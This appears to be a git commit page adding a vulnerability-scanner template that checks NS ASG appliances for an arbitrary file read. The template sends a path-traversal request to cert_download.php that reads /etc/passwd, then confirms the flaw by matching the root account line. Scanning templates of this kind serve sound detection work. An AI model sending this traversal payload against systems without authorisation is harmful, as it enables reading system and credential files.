Merge pull request #1580 from pikpikcu/patch-167

Create ns-asg-file-read
patch-1
Sandeep Singh 2021-06-01 14:10:09 +05:30 committed by GitHub
commit 2685f492ed
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 23 additions and 0 deletions

View File

@ -0,0 +1,23 @@
id: nsasg-arbitrary-file-read
info:
name: NS ASG Arbitrary File Read
author: pikpikcu
severity: high
tags: nsasg,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200